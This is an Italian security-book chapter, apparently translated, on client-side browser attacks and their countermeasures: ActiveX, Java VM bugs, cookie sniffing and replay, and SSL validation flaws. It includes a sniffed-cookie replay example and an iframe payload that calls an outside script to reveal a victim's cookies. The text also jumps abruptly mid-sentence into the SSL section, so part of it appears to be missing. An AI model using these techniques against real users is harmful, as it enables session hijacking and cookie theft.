Come evitare il problema del flag "safe for scripting"

Esistono tre soluzioni per affrontare questo grave problema dal punto di vista dell'utente Internet e suggeriamo di applicarle tutte.

La prima consiste nell'applicare le patch relative sia a Scriptlet/Eyedog sia a OUA, disponibili rispettivamente all'indirizzo `http://www.microsoft.com/technet/security/bulletin/ms99-032.asp` e `http://office.microsoft.com/downloads/2000/Uactlsec.aspx`. Occorre tuttavia rendersi conto che si tratta di correzioni mirate, per-

ché disattivano il flag "safe for scripting" solo in questi controlli specifici senza fornire alcuna protezione generale contro qualunque nuovo attacco basato su altri controlli che siano contrassegnati come sicuri. A questo proposito vi rammentiamo quanto già detto sui "trojan involontari" che non sono ancora stati scoperti.
La seconda contromisura è rivolta in modo specifico all'exploit di OUA e di altri di tipo simile che si servono delle macro di Office per svolgere le loro operazioni nocive: impostate la protezione da macro su *Elevata* in *Strumenti*, *Macro, Protezione* in Office 2000: ogni applicazione dev'essere configurata singolarmente, perché non esiste un'impostazione globale per tutti gli strumenti.
La terza e più efficace contromisura consiste nel limitare o disabilitare le funzioni ActiveX, come vedremo tra breve nel paragrafo dedicato alle aree di protezione. Prima di questo però dobbiamo evidenziare ancora qualche problema di vulnerabilità legato ad ActiveX.
Dal punto di vista degli sviluppatori, sarebbe utile evitare la scrittura di controlli "safe for scripting" in grado di eseguire azioni privilegiate sul sistema di un utente, a meno che ovviamente non desideriate essere segnalati in uno dei prossimi comunicati di Georgi Guninski.

Una volta istanziati, i controlli ActiveX rimangono in memoria fino a quando non vengono scaricati, il che è possibile digitando `regsvr32/u [Nome_controllo]` *sulla riga di comando.*

Vulnerabilità relativa allo scaricamento di file di Active Setup

Diffusione:	5
Semplicità:	8
Impatto:	5
Fattore di rischio:	6

Juan Carlos García Cuartango, un ricercatore indipendente di problemi di sicurezza con una predilezione verso l'individuazione delle falle di Internet Explorer, pubblicò un articolo relativo a questa vulnerabilità sul suo sito, `http://www.kriptopolis.com`. La vulnerabilità "Active Setup Download" è un attacco DoS (*Denial of Service*) che sfrutta un controllo ActiveX utilizzato da Active Setup per prelevare file .CAB con firma digitale dal sito di Microsoft e collocarli in qualunque posizione specificata del disco, anche nel caso in cui venga sovrascritto un altro file.

Contromisure all'attacco DoS ad Active Setup

Microsoft ha messo a disposizione una patch che risolve questo problema, disponibile all'indirizzo `http://www.microsoft.com/technet/security/bulletin/MS00-042.asp`.

Per gli utenti di Windows 2000, segnaliamo che il servizio di protezione file di Windows (WFP) è in grado di impedire che vengano sovrascritti determinati file di sistema nel caso in cui siano presi di mira da un attacco che sfrutta questa vulnerabilità Active Setup.

Utilizzo attento delle aree di protezione: una soluzione alle minacce di ActiveX

Anche se a questo punto certamente molti dei nostri lettori saranno convinti che ActiveX sia il principale flagello per la sicurezza dei client, desideriamo chiarire che questa sensazione ignora una premessa fondamentale: quanto più una tecnologia acquista potenza e riesce a diffondersi, tanto maggiori saranno le possibilità che essa possa essere sfruttata per provocare danni di vasta portata. ActiveX è una tecnologia potente e molto diffusa, pertanto possono accadere cose molto spiacevoli nel caso in cui venga utilizzata per finalità dolose (e non avete ancora letto il paragrafo sull'hacking della posta elettronica). Gli utenti finali sono alla ricerca di modi sempre più automatizzati per svolgere le loro attività quotidiane e ActiveX è semplicemente una risposta a questa necessità. È inutile pertanto chiudere gli occhi e sperare che il problema scompaia: ci sono nuove tecnologie in attesa all'orizzonte ed è probabile che presenteranno lo stesso livello di prestazioni e di problemi.

Una soluzione generale a problemi posti da ActiveX (indipendentemente dal loro legame con la vulnerabilità del flag "safe for scripting" dei controlli) consiste nel limitare la sua capacità di esercitare un controllo privilegiato sul sistema. Per poter agire in tal senso, però, è necessario prendere in considerazione uno degli aspetti più trascurati della sicurezza di Windows, le *aree di protezione*. Per migliorare la protezione del vostro sistema, dovete imparare a farlo funzionare in modo sicuro. Sostanzialmente il modello delle aree di protezione consente agli utenti di assegnare livelli variabili di fiducia al codice scaricato da quattro aree possibili: *Intranet locale*, *Internet*, *Siti attendibili* e *Siti con restrizioni*. Esiste anche una quinta area, chiamata *Computer locale*, che però non è disponibile nell'interfaccia utente perché è configurabile solo con l'IEAK (*Internet Explorer Administration Kit*) all'indirizzo `http://www.microsoft.com/windows/ieak/en/default.asp`.

Una delle fonti di riferimento migliori in relazione alle aree di protezione è l'articolo di Microsoft Knowledge Base Q174360, disponibile sul sito `http://support.microsoft.com`.

È possibile aggiungere manualmente siti a tutte le aree tranne all'area Internet, perché questa contiene tutti i siti che non hanno corrispondenti in altre aree e qualunque sito che contenga un punto (".") nell'URL. Per esempio, `http://local` è incluso di default dell'area Intranet locale, mentre `http://www.microsoft.com` si trova nell'area Internet perché contiene punti nel nome. Quando si visita un sito appartenente a una determinata area, vengono applicate le impostazioni di protezione specifiche di quell'area alle attività svolte su quel sito (per esempio, potrebbe essere consentita l'esecuzione di controlli ActiveX); l'area Internet è dunque quella più importante da configurare, in quanto di default contiene tutti i siti che è probabile che un utente visiti. Ovviamente, se si aggiungono manualmente siti a qualunque altra area, questa regola non si applica; pertanto dovete prestare molta attenzione quando selezionate i siti attendibili e quelli con restrizioni da aggiungere alle altre aree, nel caso in cui decidiate di agire in questo senso. Tipicamente le altre aree saranno popolate dagli amministratori di rete per gli utenti di una LAN aziendale.

Per configurare la protezione dell'area Internet, selezionate la voce di menu *Strumenti/Opzioni Internet/Protezione* in *Internet Explorer* (oppure fate doppio clic sull'icona *Opzioni Internet* del *Pannello di controllo*), selezionate l'area Internet, fare clic su *Livello predefinito* e spostate il dispositivo di scorrimento su un punto appropriato. Consigliamo di impostare il livello su protezione *Alta* e poi di utilizzare

il pulsante *Livello personalizzato* per tornare indietro manualmente e disabilitare il rimanente contenuto attivo, oltre ad alcuni altri interventi di messa a punto atti a migliorare la fruizione dei siti, come mostrato nella Tabella 16.1.

Tabella 16.1 Impostazioni consigliate per aree protezione (impostazione livello predefinito su Alta)

Categoria	Nome impostazione	Impostazione consigliata	Commento
Controlli e plug-in ActiveX	Esegui script controlli ActiveX contrassegnati come sicuri.	Disattiva	Possono venire sfruttati i controlli "safe" del client locale.
Cookie	Consenti cookie (non memorizzati) sessione per sessione.	Attiva	Meno sicuro ma più amichevole con l'utente.
Download	Download dei file.	Attiva	IE chiederà automaticamente di fare il download sulla base dell'estensione del file.
Esecuzione script	Esecuzione script attivo.	Attiva	Meno sicuro ma più amichevole con l'utente.

La Figura 16.1 mostra l'impostazione necessaria per disabilitare ActiveX.
L'aspetto negativo è che la disabilitazione di ActiveX può causare problemi nella visualizzazione di siti che utilizzano i controlli per produrre effetti speciali. Inizialmente erano molti i siti Web che dipendevano in larga misura da un codice scaricato, come i controlli ActiveX, per offrire funzionalità dinamiche; tuttavia questa tendenza è stata ampiamente sostituita dal ricorso alle estensioni del linguaggio HTML e dall'impiego di script sul server. La disabilitazione di ActiveX non influisce quindi sulla fruibilità della maggior parte dei siti Web come accadeva in passato. Un'eccezione a questo sono i siti che si servono del controllo ActiveX Shockwave di Macromedia, perché in questo caso la disabilitazione delle funzionalità ActiveX causa la visualizzazione del messaggio mostrato nella figura seguente.

Microsoft Internet Explorer

Le impostazioni di protezione correnti non consentono l'esecuzione dei controlli ActiveX su questa pagina. Di conseguenza, la pagina potrebbe non essere visualizzata correttamente.

OK

Se pensate di non poter fare a meno dei suoni e delle animazioni di Shockwave, dovete abilitare ActiveX, a meno che ovviamente non optiate per utilizzare il browser di Netscape, che offre le funzionalità Shockwave sotto forma di plug-in. Un altro sito molto legato ad ActiveX e che molto probabilmente verrà visitato dalla maggior parte degli utenti è WU (*Windows Update*) di Microsoft, che ricorre ad ActiveX per analizzare il computer dell'utente e scaricare e installare le patch necessarie. WU è un'ottima idea, perché consente di risparmiare molto del tempo necessario a reperire le singole patch (in particolare quelle relative alla sicurezza) e determina automaticamente se la versione installata è quella corretta. Tuttavia non pensiamo che quest'unico sito, pur molto utile, riesca da solo a giustificare la scelta di lasciare sempre abilitata la possibilità di eseguire i controlli ActiveX. Ancora più frustrante,

Figura 16.1
Disabilitare tutte le impostazioni di ActiveX usando Opzioni Internet del Pannello di controllo proteggerà contro controlli nocivi scaricati attraverso pagine Web nemiche.

quando il contenuto attivo è disabilitato in Internet Explorer, il meccanismo di ricerca automatica che permette di digitare un indirizzo come "mp3" affinché il browser porti a `http://www.mp3.com` non funziona.

Una soluzione a questo problema è abilitare manualmente ActiveX quando si visita un sito affidabile per poi disabilitarlo nuovamente; tuttavia la contromisura più intelligente è utilizzare l'area di protezione *Siti attendibili*. Assegnate un livello di protezione inferiore a quest'area (consigliamo *Media*) e aggiungetevi i siti che considerate attendibili, come WU (`windowsupdate.microsoft.com`). In questo modo, quando visitate il sito WU vengono applicate le impostazioni di protezione meno restrittive e le funzioni ActiveX del sito possono svolgere il loro compito. Analogamente l'aggiunta di `auto.search.msn.com` a *Siti attendibili* permetterà di impostare adeguatamente la protezione in modo da consentire le ricerche dalla barra degli indirizzi. Sono o non sono comode le aree di protezione?

Dovete essere certi di assegnare solo siti altamente affidabili all'area Siti attendibili, *perché vi saranno minori limitazioni al contenuto attivo scaricato ed eseguito. È bene che sappiate che anche siti dall'aspetto molto rispettabile sono stati compromessi da hacker, oppure potrebbero essere stati realizzati da qualche sviluppatore poco raccomandabile con l'intenzione di raccogliere informazioni sugli utenti (o peggio).*

Anche in Outlook/Outlook Express potete assegnare un comportamento simile a quello delle aree in modo da poter leggere la posta in modo sicuro. Con Outlook/Outlook Express selezionate l'area che desiderate applicare al contenuto visualizzato nel programma di lettura della posta, che può essere l'area Internet o l'area *Siti con restrizioni*. Ovviamente consigliamo di impostarla su *Siti con restrizioni* (il nuovo aggiornamento alla protezione di Outlook 2000 lo imposta automaticamente): accertatevi che sia configurata l'area *Siti con restrizioni* per disabilitare tutto il contenuto attivo. Questo significa impostare la protezione su *Alta* e poi utilizzare il pulsante *Personalizza livello* per tornare indietro e disabilitare manualmente tutto quello che viene lasciato aperto da questa impostazione (oppure per impostarlo su protezione elevata se non è prevista la disabilitazione). La Figura 16.2 mostra come impostare Outlook su *Siti con restrizioni*.

Figura 16.2
Impostazione di Outlook per utilizzare la zona Siti con restrizioni quando si deve navigare.

Come avviene con Internet Explorer, l'impostazione di Outlook sul livello più restrittivo comporta gli stessi svantaggi: occorre tuttavia sottolineare che il contenuto attivo disturba maggiormente quando arriva sotto forma di messaggio di posta elettronica e i pericoli legati alla sua interpretazione sono di gran lunga superiori ai vantaggi estetici. Se non ci credete, continuate a leggere. L'aspetto migliore delle aree di protezione è la possibilità di impostare Outlook in modo che si comporti con maggiore attenzione rispetto alle operazioni consentite al browser Web. La flessibilità equivale a una maggiore protezione, se sapete come configurare il vostro software.

Problemi di sicurezza di Java

Un bel giorno, negli anni Novanta, Sun Microsystems decise di creare un metodo di programmazione che risolvesse molti dei problemi che i programmatori si erano da sempre trovati ad affrontare. Il risultato di questo sforzo venne chiamato Java e ci si

accorse che risolveva molti dei problemi di protezione tradizionali dei programmatori. Basandosi in gran parte sull'idea che sia stato progettato da zero per essere a prova di bomba (e grazie a un notevole impegno di marketing da parte di Sun), sono in molti a credere che Java sia sicuro al 100%. Ovviamente però questo è impossibile. Occorre anzi segnalare che Java non accresce in modo sostanziale il livello di sicurezza (la trattazione che segue riguarda l'architettura di Java 2, o JDK 1.2, la versione corrente al momento della stesura di questo testo).

Java è un linguaggio ben congegnato che impedisce ai programmatori di commettere molti degli errori che causano problemi di protezione, come i buffer overflow. La rigida tipizzazione del linguaggio è rafforzata in fase di compilazione e di esecuzione dalla JVM (*Java Virtual Machine*) e dal suo verificatore di bytecode incorporato, che protegge le aree della memoria cui il programma può accedere. Il linguaggio Java inoltre non permette di accedere o manipolare direttamente gli indirizzi di memoria per mezzo di "puntatori", che consentono ai programmatori di supporre in modo programmatico dove inserire comandi nel codice in esecuzione.

La JVM ha anche un Security Manager integrato che impone il controllo di accesso sulle risorse di sistema in base a un criterio di protezione che può essere definito dall'utente. Insieme alla verifica dei tipi, questi concetti costituiscono la "sandbox" che impedisce al codice Java di eseguire operazioni privilegiate senza l'esplicito consenso dell'utente. A coronamento di tutto questo, Java implementa la firma del codice per offrire una prova più certa dell'attendibilità del codice proveniente da fonti esterne: gli utenti possono quindi decidere se eseguire o meno il codice in base all'affidabilità della firma, in modo analogo a quanto avviene con Authenticode.

Infine, la specifica di Java è stata resa pubblica e può essere analizzata da chiunque all'indirizzo `http://java.sun.com`; questa è un'apertura alla critica e all'analisi che dovrebbe offrire una maggiore selezione darwiniana nei confronti dei punti deboli del progetto.

In teoria questi meccanismi sono estremamente difficili da aggirare, al punto che molti di essi si sono dimostrati formalmente sicuri. In pratica, tuttavia, la sicurezza di Java è stata violata diverse volte a causa dell'annoso problema di un'implementazione non conforme ai principi di progettazione. Per trovare una valida visione d'insieme della storia della sicurezza di Java da una prospettiva reale, fate riferimento alla pagina SIP (*Secure Internet Programming*) della Princeton University all'indirizzo `http://www.cs.princeton.edu/sip/history/index.php3`. Di seguito analizzeremo alcuni dei più recenti problemi d'implementazione di Java che si sono dimostrati particolarmente rilevanti per gli utenti che operano sul lato client.

Come fonte di riferimento definitiva per la sicurezza di Java, consultate le Java Security FAQ all'indirizzo `http://java.sun.com/sfaq/index.html`.

Bug della Java Virtual Machine di Netscape Communicator

Diffusione:	*4*
Semplicità:	*1*
Impatto:	*7*
Fattore di rischio:	*4*

Nell'aprile del 1999, Karsten Sohr dell'Università di Marburgo in Germania scoprì un difetto all'interno di un componente di protezione fondamentale della JVM di Net-

scape Communicator: in alcune circostanze la Java Virtual Machine non riusciva a controllare tutto il codice che veniva caricato al suo interno, il che consentiva a un eventuale hacker esterno di eseguire il codice che violasse i meccanismi di sicurezza dei tipi di Java, dando origine al cosiddetto attacco con confusione dei tipi. Questo è un classico esempio dei problemi legati alle differenze tra implementazione e progetto iniziale di cui si parlava in precedenza.

Disabilitazione di Java in Netscape

Aggiornate il browser con la versione più recente fornita da Netscape, oppure disabilitate le funzioni Java nel modo descritto di seguito (Figura 16.3).

1. In *Communicator*, selezionate *Edit/Preferences.*
2. Nella finestra di dialogo *Preferences*, scegliete la categoria *Advanced.*
3. Deselezionate la preferenza *Enable Java* nella finestra di dialogo.
4. Fate clic su *OK.*

Siamo convinti che lasciare abilitato l'interprete JavaScript possa essere accettabile, considerando anche che il suo impiego nei siti Web è ormai talmente diffuso che la sua disattivazione creerebbe problemi molto seri. Tuttavia consigliamo vivamente di disabilitare JavaScript nei client Mail e News di Netscape, come mostrato nella Figura 16.3. Per ulteriori informazioni visitate l'indirizzo `http://www.netscape.com/security/notes/sohrjava.html`.

Figura 16.3

Disabilitare Java in Communicator di Netscape protegge dalle applet nocive di Java; al contrario JavaScript è sicuro, ma si consiglia di farlo nei client Mail e News.

Difetti della Sandbox Java di Microsoft

Diffusione:	*4*
Semplicità:	*1*
Impatto:	*7*
Fattore di rischio:	*4*

Il browser IE di Microsoft è stato colpito da un bug simile poco tempo dopo. A causa di alcuni difetti nell'implementazione della sandbox della JVM di Microsoft, i meccanismi di protezione di Java potevano essere completamente aggirati da un'applet scritta con intenti dolosi ospitata da un server Web remoto o incorporata in un messaggio di posta elettronica in formato HTML.

Aggiornamento per Microsoft Internet Explorer

Per vedere se siete vulnerabili, aprite una finestra con il prompt dei comandi e digitate `jview`. Controllate poi il numero della build (le ultime quattro cifre del numero di versione) e verificate in quale delle seguenti categorie rientra.

Versione	Stato
1520 o precedente	Non affetta da vulnerabilità
2000-2438	Affetta da vulnerabilità
3000-3167	Affetta da vulnerabilità

Non sorprendetevi se `jview` vi indica che siete vulnerabili anche se IE non è installato: esistono altri prodotti, come Microsoft Visual Studio, che installano la JVM. Mentre scrivevamo queste parole ci siamo accorti noi stessi, con una certa sorpresa, che era in esecuzione una versione vulnerabile della JVM installata con Internet Explorer 5.0, quasi un anno dopo il rilascio della patch!
La patch è stata denominata Aggiornamento della Virtual Machine Sandbox ed è disponibile nella pagina principale dedicata alle patch per IE all'indirizzo `http://www.microsoft.com/windows/ie/download/default.asp`.
Potreste anche considerare l'ipotesi di disabilitare completamente Java per avere un livello di sicurezza quasi assoluto, tuttavia in questo caso potreste non riuscire a consultare i siti Web che si servono delle applet Java (le applet sono programmi Java eseguiti sul client). Per disabilitare Java in IE, seguite la procedura delineata in precedenza in relazione alle aree di protezione di IE e disabilitate manualmente qualunque impostazione che faccia riferimento a Java dopo aver impostato su *Alta* il livello di protezione dell'area Internet.

Brown Orifice e altri bug di Java

Diffusione:	*7*
Semplicità:	*5*
Impatto:	*3*
Fattore di rischio:	*5*

Nel corso dell'estate del 2000, Dan Brumleve annunciò di aver scoperto due difetti nell'implementazione di Java di Netscape Communicator. In particolare, egli identi-

ficò alcuni problemi con le librerie di file di classi Java di Netscape che non riuscivano a eseguire i controlli di protezione adeguati, o ignoravano i risultati di tali controlli, nell'esecùzione di operazioni delicate. Tra le classi incriminate c'erano `java.net.ServerSocket`, che crea socket di rete in ascolto sui quali accettare connessioni di rete, e le classi `netscape.net.URLConnection` e `netscape.net.URLInputSteam`, che si sottraggono ai metodi Java standard per la lettura di file locali. In tutti e tre i casi, queste classi contenevano metodi che non richiamavano il metodo `SecurityManager.check` appropriato per determinare se un'applet ha davvero le autorizzazioni necessarie per eseguire certe operazioni, o che ignoravano l'eccezione risultante se il controllo falliva.

Lo sfruttamento di questi difetti in combinazione è possibile scrivendo un'applet Java che chiama questi metodi per creare una porta in ascolto e per abilitare l'accesso in lettura al file system. Dan scrisse il codice Java necessario e lo pubblicò sul suo sito per fornire un esempio pratico di come fosse possibile utilizzare queste vulnerabilità per attaccare dei browser casuali su Internet. Egli impostò un modulo che consentiva agli utenti di selezionare la directory che desideravano condividere e le porte sulle quali volevano rimanere in ascolto: queste informazioni venivano inviate con l'istruzione POSTed a uno script CGI Perl, che richiamava le classi Java personalizzate di Dan per condividere la cartella specificata e creare la porta in ascolto collegata a essa sul lato del client.

Mostrando di avere molto senso dell'umorismo, Dan promosse le caratteristiche di questa tecnica, segnalando la possibilità di sfruttarle per dare vita a un servizio simile a quello di Napster e consentire agli utenti di condividere file su una rete peer-to-peer costituita da milioni di utenti che condividono i loro dischi tramite HTTP. Tuttavia, questo problema non deve essere sottovalutato per il semplice fatto che permette solo l'accesso in lettura ai dati. L'attacco di Dan consente agli utenti di specificare quale directory desiderano condividere. Potrebbero tuttavia essere realizzate applet decisamente più infide, in grado di lavorare in modo molto più furtivo per esporre chiunque utilizzi Netscape alla possibile divulgazione di informazioni riservate.

Contromisure a Brown Orifice

Come di consueto, l'unico modo per essere al sicuro dalle applet Java maligne è disabilitare Java nel browser Web. La procedura per impostare Netscape in questo modo è stata descritta in precedenza nel paragrafo "Disabilitazione di Java in Netscape" e nella Figura 16.3. Raccomandiamo questa impostazione per gli utenti di Netscape.

Netscape non aveva ancora fornito alcuna correzione specifica al momento di andare in stampa, in base alle notizie presenti alla pagina `http://www.netscape.com/security/notes/index.html`. Questa vulnerabilità interessa il browser Communicator dalla versione 4.0 alla 4.74 per i sistemi operativi Windows, Macintosh e UNIX, mentre invece non pare essere presente in Netscape 6.

Attenti ai cookie

Vi siete mai chiesti in che modo alcuni siti Web siano in grado di personalizzare le vostre visite, per esempio ricordando il contenuto di un carrello o magari compilando automaticamente il campo relativo al metodo di spedizione preferito? Il protocollo sul quale si fonda il World Wide Web, HTTP, non dispone di una funzione che permetta di tenere traccia di quanto accade tra una visita e l'altra, pertanto è sta-

ta escogitata un'estensione che permetta di mantenere questo "stato" anche con richieste e risposte HTTP diverse. Il meccanismo, descritto nella RFC 2109, ha portato alla nascita dei *cookie* e dei token speciali, contenuti nelle richieste e risposte HTTP che permettono ai siti Web di riconoscere gli utenti che tornano a far visita a un sito. I cookie possono essere impostati *sessione per sessione,* nel qual caso rimangono nella memoria volatile e scadono alla chiusura del browser o in base a un tempo di scadenza impostato; oppure possono essere *permanenti,* nel qual caso risiedono sul disco fisso dell'utente sotto forma di file di testo, in genere in una cartella denominata "Cookies" (tipicamente *%windir%\Cookies* in Win9*x*, o *%userprofile%\Cookies* in ambiente NT/2000). Come potete immaginare, degli hacker che riuscissero a mettere le mani sui vostri cookie potrebbero essere in grado di contraffare la vostra identità online o raccogliere informazioni riservate memorizzate nei cookie. Continuate a leggere per vedere quanto sia facile fare una cosa del genere.

Snarfing dei cookie

Diffusione:	*7*
Semplicità:	*5*
Impatto:	*2*
Fattore di rischio:	*5*

Il metodo a forza bruta per intercettare i cookie consiste nell'utilizzo di uno sniffer sulla rete per catturarli e poi riprodurli sul server. Qualsiasi vecchio strumento per l'intercettazione dei pacchetti è in grado di svolgere questo compito, tuttavia uno dei migliori per lo snarfing dei cookie è SpyNet/PeepNet di Laurentiu Nicula (cercate negli archivi di `http://www.packetstormsecurity.com` per trovare questa gemma preziosa). SpyNet è costituito da due strumenti che agiscono di concerto: il programma CaptureNet effettua la vera e propria cattura dei pacchetti e li salva su disco, mentre lo strumento PeepNet apre il file di cattura per ricostruire le sessioni in forma leggibile. PeepNet può effettivamente riprodurre una sessione di navigazione Web proprio come se foste voi l'utente monitorato. L'esempio che segue è un frammento della ricostruzione effettuata da PeepNet di una sessione che utilizza l'autenticazione tramite cookie per controllare l'accesso a pagine personalizzate (i nomi sono stati cambiati per proteggere la vittima):

```
GET http://www.victim.net/images/logo.gif HTTP/1.0
Accept: */*
Referrer: http://www.victim.net/
Host: www.victim.net
Cookie: jrunsessionid=96114024278141622;
cuid=TORPMlZXTFRLR1pWTVFISEblahblah
```

Potete tranquillamente vedere il token cookie fornito in questa richiesta HTTP inviata al server. La parte importante è `cuid=`, che riporta un identificatore unico utilizzato per autenticare questo utente sul sito `www.victim.net`. Supponiamo che l'hacker ora visiti victim.net, crei il proprio ID di login e riceva il proprio cookie. Dato che victim.net imposta dei cookie permanenti scritti in file memorizzati sul disco (invece di cookie attivi solo per la sessione in corso che vengono memorizzati nella memoria volatile), l'hacker può aprire il proprio cookie e sostituire la voce `cuid=` con quella intercettata. Riconnettendosi a victim.net l'hacker è ora in grado di assumere l'identità del cliente originale.

La capacità di PeepNet di riprodurre un'intera sessione o di selezionare porzioni di essa rende molto più semplice questo tipo di attacco. Per mezzo del pulsante *Go Get It!* è possibile recuperare tutte le pagine effettivamente visualizzate da un utente utilizzando lo stesso cookie intercettato in precedenza da CaptureNet. La Figura 16.4 illustra come con PeepNet sia possibile visualizzare gli ordini completati da un utente sfruttando il cookie intercettato da CaptureNet (osservate nel riquadro in basso a destra la notazione cookie, che riporta rispettivamente i cookie di sessione e di autenticazione).

Figura 16.4
Un cookie registrato da CaptureNet e riutilizzato in PeepNet.

Questo è un trucco piuttosto elegante. CaptureNet è anche in grado di presentare una decodifica completa del traffico registrato quasi equivalente all'output di strumenti di analisi dei protocolli professionali come SnifferPro di Network Associates, Inc. Inoltre, SpyNet è gratuito!

Contromisure: strumenti per il controllo dei cookie

State attenti ai siti che utilizzano i cookie per l'autenticazione e la memorizzazione di dati personali riservati. Uno strumento utile in questo senso è Cookie Pal di Kookaburra Software, disponibile all'indirizzo `http://www.kburra.com/cpal.html`, che può essere impostato per avvisarvi quando i siti Web tentano di impostare i cookie, permettendovi di vedere che cosa accade dietro le quinte in modo da poter

decidere se permettere o meno tale attività. Microsoft Internet Explorer ha una funzione di controllo dei cookie, disponibile nella finestra di dialogo *Opzioni Internet*, scheda *Protezione/Area Internet/Personalizza livello/"Chiedi conferma"*, per i cookie sessione per sessione e quelli permanenti memorizzati sul disco. Nelle versioni di Internet Explorer successive alla 6, la finestra di dialogo *Opzioni Internet* si è arricchita con molte impostazioni avanzate per la gestione dei cookie, rintracciabili nella scheda *Privacy*. Il browser di Netscape permette di impostare il comportamento relativo ai cookie facendo clic su *Edit/Preferences/Advanced* e selezionando *Warn me before accepting a cookie* o *Disable cookies* (Figura 16.3). Nel caso in cui accettiate dei cookie, verificate se vengono scritti sul disco per vedere se il sito memorizza informazioni personali che vi riguardano.

Inoltre ricordatevi, nel caso in cui visitiate un sito che utilizza i cookie per l'autenticazione, che esso quanto meno dovrebbe utilizzare SSL per cifrare l'invio iniziale di nome utente e password in modo che non appaia in chiaro in PeepNet.

Noi preferiremmo disabilitare completamente i cookie, tuttavia molti dei siti che frequentiamo spesso richiedono che siano abilitati. Per esempio, il famoso servizio Hotmail di Microsoft richiede l'attivazione dei cookie per poter accedere al servizio e poiché Hotmail si appoggia a diversi server di autenticazione che possono variare da una sessione all'altra, non è sufficiente aggiungere Hotmail all'area *Siti attendibili* in *Opzioni Internet* (come abbiamo descritto in precedenza nel paragrafo relativo alle aree di protezione). In questo caso una soluzione potrebbe essere l'utilizzo della notazione *.hotmail.com. I cookie sono una soluzione imperfetta alle inadeguatezze di HTTP, tuttavia le alternative sono probabilmente peggiori (come per esempio l'aggiunta di un identificatore agli URL che può essere memorizzato nei proxy). Fino a quando qualcuno non proporrà un'idea migliore, l'unica soluzione è tenere sotto controllo i cookie con gli strumenti indicati in precedenza.

Sottrazione dei cookie tramite URL nocivi

Diffusione:	*5*
Semplicità:	*8*
Impatto:	*2*
Fattore di rischio:	*5*

Ecco un'idea inquietante: facendo semplicemente clic su un URL costruito ad arte, gli utenti di IE sono potenzialmente vulnerabili alla rivelazione dei loro cookie. Bennett Haselton e Jamie McCarthy di Peacefire hanno pubblicato uno script alla pagina `http://www.peacefire.org/security/iecookies` che trasforma in realtà questa ipotesi, in quanto estrae i cookie dalla macchina del client semplicemente facendo clic su un collegamento contenuto nella pagina. Il contenuto dei cookie presenti sulla macchina dell'utente è leggibile da parte di questo script e pertanto risulta accessibile agli operatori del sito Web.

Questo script potrebbe anche essere sfruttato per finalità decisamente poco desiderabili inviandolo all'interno di tag di frame inline (`iframe`) incorporati nel codice HTML di una pagina Web (oppure in messaggi di posta elettronica o di newsgroup in formato HTML). L'esempio seguente, suggerito dal consulente esperto di sicurezza Internet Richard M. Smith, mette in luce come sia possibile utilizzare `iframe` in combinazione con l'attacco di Peacefire per impadronirsi dei cookie di un utente:

```
<iframe src="http://www.peacefire.org%2fsecurity%2fiecookies%2f
showcookie.html%3f.yahoo.com/"></iframe>
```

argomento che può incutere una certa soggezione in chi sta iniziando solo ora ad accostarsi ai problemi della protezione, ma che tuttavia è un concetto fondamentale per chiunque desideri acquistare e vendere merci nel mondo dell'economia moderna. Una buona descrizione generale del funzionamento di SSL è disponibile alla pagina `http://home.netscape.com/security/techbriefs/ssl.html`.
SSL tuttavia è una specifica di protezione e come tale è aperta all'interpretazione da parte di coloro che la implementano nei loro prodotti software. Come abbiamo avuto modo di rilevare in precedenza, tra il dire e il fare c'è di mezzo il mare, ossia i difetti di implementazione possono ridurre notevolmente, se non addirittura annullare, la sicurezza di qualunque specifica. Di seguito quindi ci occuperemo proprio di questo difetto di implementazione.
Prima però permetteteci un consiglio: i lettori dovrebbero cercare di procurarsi il sistema di crittografia SSL più potente disponibile per il loro browser Web, quello che utilizza la cifratura a 128 bit. Grazie all'attenuazione delle leggi sull'esportazione degli Stati Uniti, le versioni a 128 bit di Netscape e IE sono disponibili a chiunque dimori in un paese che non sia soggetto a qualche forma di embargo. In IE aprite la finestra di dialogo *Informazioni su Internet Explorer* e fate clic sul collegamento *Update Information* per aprire la pagina dalla quale potete ottenere la versione a 128 bit. Gli utenti di Netscape invece possono collegarsi alla pagina di download principale `http://home.netscape.com/download` e cercare il riferimento alla crittografia a 128 bit.

Possibilità di aggirare la convalida del certificato SSL del browser Web

Diffusione:	*3*
Semplicità:	*1*
Impatto:	*6*
Fattore di rischio:	*3*

Questo problema implica la contraffazione del certificato SSL di un sito Web legittimo, che normalmente verrebbe invalidato tramite un controllo incrociato dell'identità del certificato con il nome DNS e l'indirizzo IP del server all'altro capo della connessione. Ciò è quanto avviene in base alla specifica SSL. Tuttavia l'ACROS Security Team of Slovenia scoprì un difetto di implementazione nelle versioni di Netscape Communicator antecedenti alla 4.73, nelle quali, al momento di stabilire una sessione SSL, Communicator confrontava solo l'indirizzo IP, e non il nome DNS, di un certificato con i dati delle sessioni SSL esistenti. Riuscendo a ingannare surrettiziamente un browser, in modo da convincerlo ad aprire una sessione SSL con un server Web dalle intenzioni dolose e contraffatto da server legittimo, tutte le sessioni SSL successive con il server Web legittimo verrebbero in realtà dirottate verso il server dell'hacker, senza che all'utente compaia nessuno dei normali messaggi di avvertimento.
In effetti ci rendiamo conto che è un rompicapo. Per una spiegazione più esauriente, fate riferimento all'annuncio originale del team di ACROS riportato nel CERT Advisory 2000-05 alla pagina `http://www.cert.org/advisories/CA-2000-05.html` (anche se il loro esempio con Verisign e Thawte contiene indirizzi IP non aggiornati). Vale comunque la pena di comprendere le possibili implicazioni di questa vulnerabilità, indipendentemente dall'improbabilità che tutte le variabili necessarie al suo funzionamento si allineino. Quasi tutti danno per scontato di non doversi più preoccupare una volta che nel browser appare la piccola icona di SSL. ACROS ha invece mostrato che questo è impossibile, almeno fino a quando saranno gli esseri umani a sviluppare il software.

Il team di ACROS mise in luce una vulnerabilità simile in IE, con la differenza che in questo caso il problema era che il browser verificava soltanto che il certificato fosse stato emesso da una Certificate Authority valida, senza preoccuparsi di controllare il nome del server o la data di scadenza. Questo avveniva soltanto quando la connessione SSL al server SSL avveniva tramite un frame o un'immagine (che è un modo subdolo per impostare sessioni SSL non appariscenti che l'utente potrebbe non notare). IE inoltre falliva nella riconvalida del certificato nel caso in cui venisse stabilita una nuova sessione SSL con lo stesso server nel corso della medesima sessione di navigazione del browser.

Contromisure all'aggiramento della protezione SSL dei browser Web

Come abbiamo indicato, l'aggiornamento alla versione 4.73 o successive di Communicator allevia questo problema (`http://home.netscape.com/download`). Gli utenti di IE troveranno invece informazioni sulla patch consultando la pagina `http://www.microsoft.com/technet/security/bulletin/ms00-039.asp`.

